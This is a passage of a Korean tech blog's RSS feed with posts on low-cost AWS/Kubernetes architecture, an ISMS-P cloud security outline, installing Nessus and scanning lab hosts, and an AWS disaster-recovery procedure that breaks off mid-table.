&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;WAF &amp;amp; DDoS Protection:&lt;/b&gt; 악성 트래픽과 봇을 엣지(Edge) 단에서 원천 차단하여 오리진 서버 부하를 방지합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Edge Caching:&lt;/b&gt; 전체 트래픽의 **약 90%**를 캐싱으로 처리하여, 실제 내부 인프라(K8s)로 들어오는 요청을 최소화합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size23&quot;&gt;2. 지능형 노드 오토스케일러 (Karpenter)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;Just-in-time Provisioning:&lt;/b&gt; 기존 노드 그룹 방식이 아닌, Pod의 요구사항에 맞춰 최적의 인스턴스를 초 단위로 띄웁니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;Spot Instance 활용:&lt;/b&gt; 회수 가능성이 있는 스팟 인스턴스를 적극적으로 활용하여 컴퓨팅 비용을 극단적으로 낮춥니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;3. 고성능 데이터 레이어 (Valkey &amp;amp; PaaS DB)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;Valkey Replicas:&lt;/b&gt; Redis의 오픈소스 포크인 Valkey를 여러 대 두어 읽기 요청을 메모리 단에서 즉각 응답합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;DB Read/Write 분리:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,1,0,0&quot;&gt;Writer:&lt;/b&gt; 트랜잭션 및 데이터 정합성 보장.&amp;nbsp; &lt;b&gt;&amp;nbsp;(Mater DB에 부하가 줄어듬)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,1,1,0&quot;&gt;Reader:&lt;/b&gt; 캐시 미스 발생 시 대규모 조회 쿼리 분산 처리. &lt;b&gt;(장애 대응발생 원인 찾기가 쉬움)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;13&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size26&quot;&gt;⚡️ 핵심 전략: 왜 ARM(Graviton) 인스턴스인가?&lt;/h2&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size16&quot;&gt;카펜터와 함께 사용할 최적의 인스턴스 타입은 &lt;b data-index-in-node=&quot;25&quot; data-path-to-node=&quot;15&quot;&gt;AWS Graviton(ARM64)&lt;/b&gt; 기반 인스턴스입니다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;16&quot; data-ke-size=&quot;size23&quot;&gt;✅ ARM 전환의 이점&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;17&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;17,0,0&quot;&gt;가성비:&lt;/b&gt; 동일 사양 x86 대비 가격은 &lt;b data-index-in-node=&quot;22&quot; data-path-to-node=&quot;17,0,0&quot;&gt;~20% 저렴&lt;/b&gt;, 성능은 &lt;b data-index-in-node=&quot;35&quot; data-path-to-node=&quot;17,0,0&quot;&gt;~40% 우수&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;17,1,0&quot;&gt;전력 효율:&lt;/b&gt; 탄소 배출 감소 및 데이터 센터 효율 증대로 인해 클라우드 사에서 공급이 안정적임.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;17,2,0&quot;&gt;스팟 가용성:&lt;/b&gt; x86 대비 경쟁이 적어 스팟 인스턴스 확보가 상대적으로 용이함.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;18&quot; data-ke-size=&quot;size23&quot;&gt;✅ 멀티 아키텍처 빌드 (Docker Buildx)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;19&quot; data-ke-size=&quot;size16&quot;&gt;ARM 인스턴스를 사용하기 위해서는 이미지 빌드 단계에서 linux/amd64와 linux/arm64를 모두 지원해야 합니다.&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwikuKjHrfKTAxUAAAAAHQAAAAAQjAE&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;&lt;span&gt;Bash&lt;/span&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;# 멀티 아키텍처 빌더 생성
docker buildx create --name mybuilder --use

# x86과 ARM64 이미지를 동시 빌드 및 푸시
docker buildx build --platform linux/amd64,linux/arm64 \
  -t your-repo/app:latest --push .
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-path-to-node=&quot;21&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;22&quot; data-ke-size=&quot;size26&quot;&gt;  Karpenter 인스턴스 추천 가이드&lt;/h2&gt;
&lt;p data-path-to-node=&quot;23&quot; data-ke-size=&quot;size16&quot;&gt;카펜터 설정 시 특정 타입만 지정하기보다 &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;23&quot;&gt;카테고리&lt;/b&gt;를 열어두는 것이 스팟 확보에 유리합니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-path-to-node=&quot;24&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;인스턴스 군&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;추천 용도&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;특징&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,1,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24,1,0,0&quot;&gt;C6g, C7g&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,1,1,0&quot;&gt;일반 API 서버, 연산 위주 워크로드&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,1,2,0&quot;&gt;가장 저렴하고 물량이 많은 Compute Optimized&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,2,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24,2,0,0&quot;&gt;R6g, R7g&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,2,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24,2,1,0&quot;&gt;Valkey&lt;/b&gt;, 대용량 캐시, 인메모리 DB&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,2,2,0&quot;&gt;메모리 당 단가가 가장 저렴한 Memory Optimized&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,3,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24,3,0,0&quot;&gt;M6g, M7g&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,3,1,0&quot;&gt;범용 서버, CI/CD 워커&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;24,3,2,0&quot;&gt;CPU와 메모리 밸런스가 필요한 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-path-to-node=&quot;25&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-path-to-node=&quot;25,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25,0&quot;&gt;Note:&lt;/b&gt; g가 붙은 타입이 AWS Graviton(ARM) 모델입니다. x86 호환성이 절대적으로 필요한 경우에만 i(Intel)나 a(AMD) 타입을 섞어서 사용하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-path-to-node=&quot;26&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;27&quot; data-ke-size=&quot;size26&quot;&gt;  마무리 요약&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;28&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;28,0,0&quot;&gt;Cloudflare&lt;/b&gt;로 불필요한 비용(트래픽)을 죽이고,&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;28,1,0&quot;&gt;Karpenter&lt;/b&gt;와 &lt;b data-index-in-node=&quot;11&quot; data-path-to-node=&quot;28,1,0&quot;&gt;ARM 스팟&lt;/b&gt;으로 서버 단가를 낮추며,&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;28,2,0&quot;&gt;Valkey 리플리카&lt;/b&gt;로 DB 부하를 분산하면,&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;28,3,0&quot;&gt;성능은 유지하면서 인프라 유지비는 최소화&lt;/b&gt;하는 구조가 완성됩니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>시스템</category>
      <category>ARM</category>
      <category>Cloudflare #</category>
      <category>karpenter</category>
      <category>valkey</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/265</guid>
      <comments>https://iesay.tistory.com/265#entry265comment</comments>
      <pubDate>Thu, 16 Apr 2026 21:32:02 +0900</pubDate>
    </item>
    <item>
      <title>ISMS-P 클라우드 아키텍처</title>
      <link>https://iesay.tistory.com/264</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1. VPC 설계 트레짓 게이트&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 보안장비 (DDOS&amp;nbsp; -&amp;gt; ALB -&amp;gt; WAF -&amp;gt; IPS)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. EKS(ArgoCD , istio, Falcon 클라우드 스트라이커)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 접근제어 (OS, DB)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 암호화 구간&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 로그 백업&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. ci/cd&amp;nbsp; 이미지 스캔&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>시스템</category>
      <category>클라우드 아키텍처</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/264</guid>
      <comments>https://iesay.tistory.com/264#entry264comment</comments>
      <pubDate>Thu, 19 Mar 2026 20:59:27 +0900</pubDate>
    </item>
    <item>
      <title>nessus</title>
      <link>https://iesay.tistory.com/263</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;출처&amp;nbsp;: &lt;br /&gt;&lt;a href=&quot;https://www.infosectrain.com/blog/vulnerability-scanning-with-nessus-a-practical-guide/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.infosectrain.com/blog/vulnerability-scanning-with-nessus-a-practical-guide/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://www.tenable.com/downloads/nessus?loginAttempted=true&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.tenable.com/downloads/nessus?loginAttempted=true&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For&amp;nbsp;installation,&amp;nbsp;use&amp;nbsp;the&amp;nbsp;following&amp;nbsp;command &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;dpkg&amp;nbsp;-i&amp;nbsp;Nessus-10.8.3-ubuntu1604_amd64.deb &lt;br /&gt;&lt;br /&gt;Start&amp;nbsp;the&amp;nbsp;nessus&amp;nbsp;service- &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;service&amp;nbsp;nessusd&amp;nbsp;start &lt;br /&gt;&lt;br /&gt;And&amp;nbsp;for&amp;nbsp;confirming&amp;nbsp;whether&amp;nbsp;the&amp;nbsp;nessus&amp;nbsp;service&amp;nbsp;has&amp;nbsp;been&amp;nbsp;started&amp;nbsp;or&amp;nbsp;not,&amp;nbsp;we&amp;nbsp;can&amp;nbsp;confirm&amp;nbsp;it&amp;nbsp;with:- &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;service&amp;nbsp;nessusd&amp;nbsp;status &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nessus-10.8.3-ubuntu1604_amd64.deb &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업데이트 하는대 시간이 많이 걸림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.86.129&amp;nbsp; &amp;nbsp;레드헷 6.2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.86.128&amp;nbsp; &amp;nbsp;레드헷 9.0&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.86.130&amp;nbsp; 메니저&amp;nbsp; &amp;nbsp; 우분투 22.04&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1] 베이직 네트워크 스캔 시작&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-04-02 11 09 07.jpg&quot; data-origin-width=&quot;1624&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/noh8d/btsM4aVYC0p/U9PtikaG9kZPsaKPHncekk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/noh8d/btsM4aVYC0p/U9PtikaG9kZPsaKPHncekk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/noh8d/btsM4aVYC0p/U9PtikaG9kZPsaKPHncekk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnoh8d%2FbtsM4aVYC0p%2FU9PtikaG9kZPsaKPHncekk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1624&quot; height=&quot;1066&quot; data-filename=&quot;2025-04-02 11 09 07.jpg&quot; data-origin-width=&quot;1624&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2] 결과물 출력 cve 코드&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-04-02 11 06 44.jpg&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;940&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAQja6/btsM5FAFgm2/85vQ5aFVuDqrEqpAaKLsZ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAQja6/btsM5FAFgm2/85vQ5aFVuDqrEqpAaKLsZ1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAQja6/btsM5FAFgm2/85vQ5aFVuDqrEqpAaKLsZ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAQja6%2FbtsM5FAFgm2%2F85vQ5aFVuDqrEqpAaKLsZ1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1674&quot; height=&quot;940&quot; data-filename=&quot;2025-04-02 11 06 44.jpg&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;940&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3] 결과물 정리&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-04-02 11 06 49.jpg&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;881&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nndGM/btsM5Zey0gv/yQzSn2qKIgmPHPeOLiU4LK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nndGM/btsM5Zey0gv/yQzSn2qKIgmPHPeOLiU4LK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nndGM/btsM5Zey0gv/yQzSn2qKIgmPHPeOLiU4LK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnndGM%2FbtsM5Zey0gv%2FyQzSn2qKIgmPHPeOLiU4LK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1919&quot; height=&quot;881&quot; data-filename=&quot;2025-04-02 11 06 49.jpg&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;881&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;All scan&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-04-02 11 28 18.jpg&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lQYzh/btsM6iEXYZs/OyM1obc5DZCNsaSYWd7K30/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lQYzh/btsM6iEXYZs/OyM1obc5DZCNsaSYWd7K30/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lQYzh/btsM6iEXYZs/OyM1obc5DZCNsaSYWd7K30/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlQYzh%2FbtsM6iEXYZs%2FOyM1obc5DZCNsaSYWd7K30%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1874&quot; height=&quot;1086&quot; data-filename=&quot;2025-04-02 11 28 18.jpg&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-04-02 11 28 13.jpg&quot; data-origin-width=&quot;1855&quot; data-origin-height=&quot;1089&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhmpJJ/btsM5wxfdlD/B5gSejH7TfX5l3oZo7e3Wk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhmpJJ/btsM5wxfdlD/B5gSejH7TfX5l3oZo7e3Wk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhmpJJ/btsM5wxfdlD/B5gSejH7TfX5l3oZo7e3Wk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhmpJJ%2FbtsM5wxfdlD%2FB5gSejH7TfX5l3oZo7e3Wk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1855&quot; height=&quot;1089&quot; data-filename=&quot;2025-04-02 11 28 13.jpg&quot; data-origin-width=&quot;1855&quot; data-origin-height=&quot;1089&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Tools</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/263</guid>
      <comments>https://iesay.tistory.com/263#entry263comment</comments>
      <pubDate>Wed, 2 Apr 2025 11:05:52 +0900</pubDate>
    </item>
    <item>
      <title>AWS 클라우드 재해복구 절차 수립</title>
      <link>https://iesay.tistory.com/262</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;출처 ㅣ &lt;a href=&quot;https://velog.io/@qkrrlxor627/%EC%9E%AC%ED%95%B4%EB%B3%B5%EA%B5%AC%EC%8B%9C%EA%B0%84&quot;&gt;재해복구시간 (velog.io)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp; RDS가 cpu 100% 사용중인 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;사용자들은 속도가 느려지고 RDS 스케일업을 해야되는 상황&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;-&amp;nbsp;cloudfront에서&amp;nbsp;점검&amp;nbsp;페이지&amp;nbsp;안내 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CDN&amp;nbsp;10분정도&amp;nbsp;소요 &lt;br /&gt;&lt;br /&gt;-&amp;nbsp;ALB&amp;nbsp;아웃바운드&amp;nbsp;&amp;nbsp;target&amp;nbsp;group(EC2)&amp;nbsp;방화벽&amp;nbsp;차단 &lt;br /&gt;&lt;br /&gt;-&amp;nbsp;RDS에서&amp;nbsp;&amp;nbsp;EC2&amp;nbsp;&amp;nbsp;인바운드&amp;nbsp;정책&amp;nbsp;차단 &lt;br /&gt;&lt;br /&gt;-&amp;nbsp;RDS의&amp;nbsp;스케일&amp;nbsp;up &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;b&gt;db.m7i.large&amp;nbsp;(vCPU:&amp;nbsp;2,&amp;nbsp;Memory:&amp;nbsp;8&amp;nbsp;GiB)&amp;nbsp;&amp;nbsp;-&amp;gt;&amp;nbsp;db.m7i.xlarge&amp;nbsp;(vCPU:&amp;nbsp;4,&amp;nbsp;Memory:&amp;nbsp;16&amp;nbsp;GiB)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- 내부 테스트&lt;br /&gt;&lt;br /&gt;- RDS, ALB 방화벽 오픈&lt;br /&gt;&lt;br /&gt;- cloudfront 운영 페이지 안내&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RTO&amp;nbsp;(Recovery&amp;nbsp;Time&amp;nbsp;Objective) &lt;br /&gt;암기&amp;nbsp;비법:&amp;nbsp;&quot;복구&amp;nbsp;시간&amp;nbsp;목표&quot;&amp;nbsp;(RTO&amp;nbsp;&amp;rarr;&amp;nbsp;복구&amp;nbsp;시간) &lt;br /&gt;&lt;b&gt;1시간&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;RPO&amp;nbsp;(Recovery&amp;nbsp;Point&amp;nbsp;Objective) &lt;br /&gt;암기&amp;nbsp;비법:&amp;nbsp;&quot;복구&amp;nbsp;지점&amp;nbsp;목표&quot;&amp;nbsp;(RPO&amp;nbsp;&amp;rarr;&amp;nbsp;복구&amp;nbsp;지점)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실시간 데이타 데이타 유실은 없음&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Out Of Memory로 서비스가 계속 내려가는 상황&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
